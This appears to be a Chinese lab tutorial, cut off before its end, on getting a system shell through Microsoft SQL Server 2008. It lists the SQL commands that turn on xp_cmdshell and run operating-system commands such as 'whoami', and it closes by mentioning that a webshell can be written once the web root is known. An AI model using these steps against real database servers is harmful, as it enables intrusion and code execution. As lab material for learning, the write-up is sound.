mssql简介:
ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发
实验目的:
实验mssqlgetshell的方式
环境
Mssql2008
DBeaver
环境搭建:
Mssql2008下载安装参照
SQL Server 2008 R2 安装过程详解_明昕ztoy的博客-CSDN博客_sqlserver2008r2安装
SQL Server 2008 R2 安装过程详解_明昕ztoy的博客-CSDN博客_sqlserver2008r2安装
SQL Server 2008 R2 安装过程详解_明昕ztoy的博客-CSDN博客_sqlserver2008r2安装
DBeaver安装参照
DBeaver安装_wwagyun的博客-CSDN博客_dbeaver安装教程
DBeaver安装_wwagyun的博客-CSDN博客_dbeaver安装教程
DBeaver安装_wwagyun的博客-CSDN博客_dbeaver安装教程
复现过程:
创建一个mssql的连接
然后进入sql编辑器
查看mssql版本
Select @@version;
查看所有数据库的名称
SELECT Name FROM Master..SysDatabases ORDER BY Name;
由于这个实验的mssql的版本是2008,所以xp_cmdshell默认是关闭的,(SQL Server 2005以后默认关闭,需要手动开启:)
输入
exec sp_configure;
查看exec sp_configure状态
可以看见xp_cmdshell是关闭的,需要我们手动去开启,输入下面命令开启xp_cmdshell
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure'xp_cmdshell', 1;
RECONFIGURE;
之后再查看xp_cmdshell的状态为config_vaule=1
输入下面命令让mssql执行系统命令
exec master..xp_cmdshell 'whoami';
可以看出已经执行系统命令了。
关闭xp_cmdshell的命令如下:
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效
当然我们也可以输入下面代码写入webshell(前提是知道网站的根目录)